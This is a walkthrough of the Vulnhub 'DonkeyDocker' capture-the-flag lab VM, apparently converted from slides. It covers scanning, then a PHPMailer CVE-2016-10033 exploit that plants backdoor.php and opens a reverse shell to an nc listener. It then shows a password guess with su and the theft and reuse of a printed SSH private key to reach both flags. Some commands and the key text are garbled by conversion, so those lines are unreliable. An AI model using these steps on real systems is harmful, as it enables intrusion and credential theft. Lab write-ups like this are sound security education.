

# Donkey Docker Vulnhub's vulnerable lab challenge

Information Security Inc.

# Contents

- About Vulnhub
- Target VM
- Test Setup
- Walkthrough
- References

# About Vulnhub

- To provide materials that allows anyone to gain practical 'hands-on' experience in digital security, computer software & network administration



# Target VM

- Target VM: DonkeyDocker
- Download the zip file and extract it  
[https://zer0-day.pw/public/DonkeyDocker\\_v1.0.zip](https://zer0-day.pw/public/DonkeyDocker_v1.0.zip)
- Import the ovf file into your favorite hypervisor



DonkeyDocker.ovf

- Attach a DHCP enable vmnet to the machine and run it
- Objective  
Find the hidden flags

# Test Setup

## © Testing environment

Linux Kali (attacker) >>> Firewall >>> DonkeyDocker (target vm)

# Walkthrough

© From the attacker machine run the following command to find out Target VMs IP address:

```
root@LUCKY64:/opt3# netdiscover -i eth2 -r 192.168.254.0
Currently scanning: Finished! | Screen View: Unique Hosts
5 Captured ARP Req/Rep packets, from 5 hosts. Total size: 300
-----
IP                At MAC Address      Count  Len  MAC Vendor / Hostname
-----
192.168.254.1     00:50:56:c0:00:08    1      60  Unknown vendor
192.168.254.2     00:50:56:ef:1d:d2    1      60  Unknown vendor
192.168.254.130  00:0c:29:45:7e:4a    1      60  Unknown vendor
192.168.254.136  00:0c:29:55:8b:5f    1      60  Unknown vendor
192.168.254.254  00:50:56:ef:94:8a    1      60  Unknown vendor
```

© Scan the target machine IP (192.168.254.136)

```
root@LUCKY64:/opt3# ./Scan.py
TCP port 22 is open
TCP port 80 is open
```



Scan.py

- Two ports are open: Port 22 – Used for SSH; Port 80 (used for: webserver)

# Walkthrough

## © Explore target machine's port 80 with a browser

192.168.254.136

Firefox を使いたいなそう How to interpret IPv4 ... http://192.168.10.12/S... osx - Mac changes IP t...

Donkey Docker

Home About Contact

## Welcome

This is my first boot2root - CTF VM. I hope you enjoy it, if you run into any issue you can find me on Twitter: [dhn](#) or feel free to write me a mail to: [dhn@zer0-day.pw](mailto:dhn@zer0-day.pw) - GPG key: **0x2641123C** - GPG fingerprint: **4E3444A11BB780F84B58E8ABA8DD99472641123C**

Looking forward to the write-ups!

Happy Hunting!

**Level**  
I think the level of this boot2root challenge is hard or intermediate.

**Thanks**  
Special thanks to [1Internaut](#) for the awesome CTF VM name!

**Try harder!**  
If you are confused or frustrated don't forget that enumeration is the key!

**Feedback**  
This is my first boot2root - CTF VM, please give me feedback on how to improve!

# Walkthrough

© Use dirb tool to scan the web application

```
root@lucifer4:~# dirb http://192.168.254.136 /usr/share/wordlists/dirb/big.txt
-----
DIRB v2.22
By The Dark Raver
-----
START TIME: Fri Aug 25 01:00:50 2017
URL BASE: http://192.168.254.136/
WORDLIST FILES: /usr/share/wordlists/dirb/big.txt
-----
GENERATED WORDS: 20450

---- Scanning URL: http://192.168.254.136/ ----
+ hLLp://192.168.254.136/about (CODE:200|SIZE:2098)
-> DIRECTORY: http://192.168.254.136/assets/
+ hLLp://192.168.254.136/contact (CODE:200|SIZE:3207)
-> DIRECTORY: http://192.168.254.136/css/
==> DIRECTORY: http://192.168.254.136/dist/
+ hLLp://192.168.254.136/index (CODE:200|SIZE:4090)
-> DIRECTORY: http://192.168.254.136/mailer/
+ hLLp://192.168.254.136/robots.txt (CODE:200|SIZE:79)
+ hLLp://192.168.254.136/server-status (CODE:403|SIZE:303)

---- Entering directory: http://192.168.254.136/assets/ ----
-> DIRECTORY: hLLp://192.168.254.136/assets/js/

---- Entering directory: http://192.168.254.136/css/ ----
---- Entering directory: http://192.168.254.136/dist/ ----
-> DIRECTORY: http://192.168.254.136/dist/css/
-> DIRECTORY: http://192.168.254.136/dist/font/

---- Entering directory: http://192.168.254.136/mailer/ ----
-> DIRECTORY: http://192.168.254.136/mailer/docs/
-> DIRECTORY: hLLp://192.168.254.136/mailer/examples/
-> DIRECTORY: http://192.168.254.136/mailer/extra/
-> DIRECTORY: hLLp://192.168.254.136/mailer/images/
-> DIRECTORY: http://192.168.254.136/mailer/scripts/
-> DIRECTORY: http://192.168.254.136/mailer/test/

---- Entering directory: http://192.168.254.136/assets/js/ ----
---- Entering directory: http://192.168.254.136/dist/css/ ----
---- Entering directory: http://192.168.254.136/dist/font/ ----
-> DIRECTORY: http://192.168.254.136/dist/font/awesomc/

---- Entering directory: http://192.168.254.136/mailer/docs/ ----
---- Entering directory: http://192.168.254.136/mailer/examples/ ----
-> DIRECTORY: hLLp://192.168.254.136/mailer/examples/images/
-> DIRECTORY: http://192.168.254.136/mailer/examples/scripts/
-> DIRECTORY: hLLp://192.168.254.136/mailer/examples/scripts/
```



# Walkthrough

## ◎ Check Mailer version



## ◎ Version is 5.2.16; check an exploit for this version on www.exploit-db.com



## PHPMailer < 5.2.18 - Remote Code Execution (Python)

EDB-ID: 40974	Author: anarc0der	Published: 2016-12-29
CVE: CVE-2016-10033	Type: Webapps	Platform: PHP
E-DB Verified:	Exploit:	Vulnerable App:

◀ Previous Exploit

```
1 ***
2 # Exploit title: PHPMailer Exploit v1.0
3 # Date: 29/12/2016
4 # Exploit Author: Daniel aka anarc0der
5 # Version: PHPMailer < 5.2.18
6 # Tested on: Arch Linux
7 # CVE : CVE-2016-10033
8
9 Description:
10 Exploiting PHPMail with back connection [reverse shell] from the target
11
12 Usage:
13 1 - Download docker vulnerable environment at: https://github.com/opsxcq/exploit-CVE-2016-10033
14 2 - config your IP for reverse shell on payload variable
15 4 - Open nc listener in one terminal: $ nc -l -np your ip
16 3 - Open other terminal and run the exploit: python3 anarc0der.py
17
18 Video PoC: https://www.youtube.com/watch?v=DkxZxRt-g5U
19
20 Full Advisory:
21 https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
22 ***
23
```



# Walkthrough

## © Use the exploit found to obtain a reverse shell

▲ Download the required dependency to run the script

```
root@LUCKY64:/opt3# python Exploit.py
Traceback (most recent call last):
  File "Exploit.py", line 22, in <module>
    from requests_toolbelt import MultipartEncoder
ImportError: No module named requests_toolbelt
```

```
root@LUCKY64:/opt3# pip install requests_toolbelt
Collecting requests_toolbelt
  Downloading requests_toolbelt-0.8.0-py2.py3-none-any.whl (54kB)
    100% |██████████████████████████████| 61kB 2.0MB/s
Requirement already satisfied: requests<3.0.0,>=2.0.1 in /usr/lib/python2.7/dist-packages (from requests_toolbelt)
Installing collected packages: requests-toolbelt
Successfully installed requests-toolbelt-0.8.0
```

# Walkthrough

## © Use the exploit found to obtain a reverse shell

### ▲ Run nc

```
root@LUCKY64:/opt3# nc -l -v -p 15168
listening on [any] 15168 ...
```

### ▲ Execute the script

```
root@LUCKY64:/opt3# python3 Exploit.py
ANARC0D3R
PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com
Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski
[+] SeNdInG eVIL sHeLL To TaRGeT...
```

### ▲ Access backdoor.php in a browser and obtain the reverse shell

```
i 192.168.254.136/backdoor.php [+] SPaWNInG eVIL sHeLL.... b0000M :D
root@LUCKY64:/opt3# nc -l -v -p 15168
listening on [any] 15168 ...
192.168.254.136: inverse host lookup failed: Unknown host
connect to [192.168.254.128] from (UNKNOWN) [192.168.254.136] 45322
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

# Walkthrough

## © Use the exploit found to obtain a reverse shell

### ▲ Get the extended shell

```
$ python -c "import pty; pty.spawn('/bin/bash')"  
www-data@12081bd067cc:/$
```

## © Find the hidden flag

```
www-data@12081bd067cc:/$ llss  
bin dev home lib64 media opt root/sbin sys usr www  
boot etc lib main.sh mnt proc run srv tmp var  
www-data@12081bd067cc:/$ ccaatt mmaaiinn.sshh  
#!/bin/bash  
# change permission  
chown smith:users /home/smith/flag.txt  
# Start apache  
source /etc/apache2/envvars  
a2enmod rewrite  
apachectl -f /etc/apache2/apache2.conf  
sleep 3  
tail -f /var/log/apache2/*&  
# Start our fake smtp server  
python -m smtpd -n -c DebuggingServer localhost:25  
www-data@12081bd067cc:/$ ccdd //hhcommee  
www-data@12081bd067cc:/home$ llss  
smith  
www-data@12081bd067cc:/home$ ccdd ssmmitthh  
bash: cd: smith: Permission denied  
www-data@12081bd067cc:/home$ ssuu ssmmitthh  
Password: smith  
smith@12081bd067cc:~$ ppwwdd  
/home/smith  
smith@12081bd067cc:~$ llss --aall  
total 28  
-rwx----- 1 smith users 4096 Mar 26 10:33 .  
-rwx--r-x 1 root root 4096 Mar 26 10:33 ..  
-rwx-r--r- 1 smith users 220 Nov 5 2016 .bash_logout  
-rwx-r--r- 1 smith users 3515 Nov 5 2016 .bashrc  
-rwx-r--r- 1 smith users 675 Nov 5 2016 .profile  
-rwx--s-- 2 smith users 4096 Mar 22 04:01 .ssh  
-rwx-r--r- 1 smith users 237 Mar 22 04:47 flag.txt  
smith@12081bd067cc:~$ ccaatt trllaaqq .txt  
This is not the end, sorry dude. Look deeper!  
I know nobody created a user into a docker  
container but who cares? :-)  
But good work!  
Here a flag for you: flag0(91e3ed7d6/63586856/6e290c6a490f8e)  
PS: I like 1984 written by George ORWELL
```

# Walkthrough

## © Find the second hidden flag

### ▲ Move to the .ssh directory and find the private key

```
smith@12081bd067cc:~$ cd ..ssssh
smith@12081bd067cc:~/ssh$
smith@12081bd067cc:~/ssh$ llss --aall
total 20
drwx--S--- 2 smith users 4096 Mar 22 05:01 .
drwx----- 1 smith users 4096 Mar 26 10:33 ..
-rwx----- 1 smith users 101 Mar 22 05:01 authorized_keys
-rwx----- 1 smith users 411 Mar 22 04:48 id_ed25519
-rwx----- 1 smith users 101 Mar 22 04:48 id_ed25519.pub
smith@12081bd067cc:~/ssh$ ccaatt aauutthh orized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICEBBzcffpLlLgXqY77+z7/Awsovz/jkhOd/0fDjvEof_orwell@donkeydocker
smith@12081bd067cc:~/ssh$ ccaatt **
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICEBBzcffpLlLgXqY77+z7/Awsovz/jkhOd/0fDjvEof_orwell@donkeydocker
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktZjEAAAABG5vbmUAAAABm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACAhAqc3H36SyC4F6mO+/s+/wMLKL8/45ITnf9Hw47xKHwAAAJhsQyB3bEMg
dwAAAAtzc2gtZWQyNTUxOQAAACAhAqc3H36SyC4F6mO+/s+/wMLKL8/45ITnf9Hw47xKHw
AAAEAeyAfJp42y9KA/K5Q4M330M5x3NDtKC2I1jG4xT+orcCEBBzcffpLlLgXqY77+z7/A
wsovz/jkhOd/0fDjvEofAAAAE29yd2VsbEBkb25rZXlkb2NrZXIIBAq==
-----END OPENSSH PRIVATE KEY-----
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICEBBzcffpLlLgXqY77+z7/Awsovz/jkhOd/0fDjvEof_orwell@donkeydocker
```

# Walkthrough

## © Find the second hidden flag

- ▲ After saving it to a .txt file, use the found private key to login

```
root@LUCKY64:~# cat PrivKey.txt
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnRzaXI6ZXkk4jEAAAAMwAAAABm9uZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzcg2gtZW
QyNTUxOAAACAAHAc3H36SYC4F6mO+/s+/wMLKL8/45ITnf9Hw47xKHwAAATheQyB3BEMg
dWAAAAAEzc2gtZWQyNTUxOAAACAAHAc3H36SYC4F6mO+/s+/wMLKL8/45ITnf9Hw47xKHw
AAAAZAEyAFcP42y9KA/K5QAH3OM5X3NDLKE2I1jG4xtorcCEBzcfFpLLgXqY77+z7/A
wgoVz/3kD0d/0IDvEciAAAAE29y42VsbEBk25rX1kb2RzX1BAg--
-----END OPENSSH PRIVATE KEY-----

root@LUCKY64:~# chmod 400 PrivKey.txt
root@LUCKY64:~# ssh -i PrivKey.txt orwell@192.168.254.136
Welcome to

  _____
 | D O N K E Y   D O C K E R |
 |_____|
          Made with <3 v.1.0 - 2017

This is my first boot2root - CTF VM. I hope you enjoy it.
if you run into any issue you can find me on Twitter: @dhn_
or feel free to write me a mail to:

- Email: dhn@zer0-day.pw
- GPG key: 0x2641123C
- GPG fingerprint: 4E3444A11BB780F84B58E8ABA8DD99472641123C

level:      I think the level of this boot2root challenge
            is hard or intermediate.

Try harder!: If you are confused or frustrated don't forget
that enumeration is the key!

Thanks:     Special thanks to @internaut for the awesome
            CTF VM name!

Feedback:   This is my first boot2root - CTF VM, please
            give me feedback on how to improve!

Looking forward to the write-ups!

donkeydocker:~$ whoami
orwell
donkeydocker:~$ ls -al
total 24
drwxr-xr-x  3 orwell  orwell  4096 Mar 26 12:39
drwxr-xr-x  3 root    root    4096 Mar 22 06:44
-rw-r--r--  1 root    orwell  1 Mar 26 12:39 .ash
-rw-----  1 orwell  orwell  23 Aug 25 19:45 .ash_history
drwx-----  2 orwell  orwell  4096 Mar 22 06:41
-rw-r--r--  1 orwell  orwell  104 Mar 22 07:34 flag.txt
donkeydocker:~$ pwd
/home/orwell
```

# Walkthrough

## © Find the second hidden flag

### ▲ Get the second hidden flag

```
donkeydocker:~$ ls -al
total 24
drwxr-sr-x  3 orwell  orwell  4096 Mar 26 12:39 .
drwxr-xr-x  3 root    root    4096 Mar 22 05:44 ..
-rw-r--r--  1 root    orwell   1 Mar 26 12:39 .ash
-rw-----  1 orwell  orwell  49 Aug 25 19:49 .ash_history
drwx--S---  2 orwell  users   4096 Mar 22 06:01 .ssh
-rw-r--r--  1 orwell  orwell  104 Mar 22 07:34 flag.txt
donkeydocker:~$ cat flag.txt
You tried harder! Good work ;-)
```

Here a flag for your effort: flag01{e20523853d6733721071c2a4e95c9c60}



# References

- Vulnhub website  
<https://www.vulnhub.com>
- Vulnerable VM download  
[https://zer0-day.pw/public/DonkeyDocker\\_v1.0.zip](https://zer0-day.pw/public/DonkeyDocker_v1.0.zip)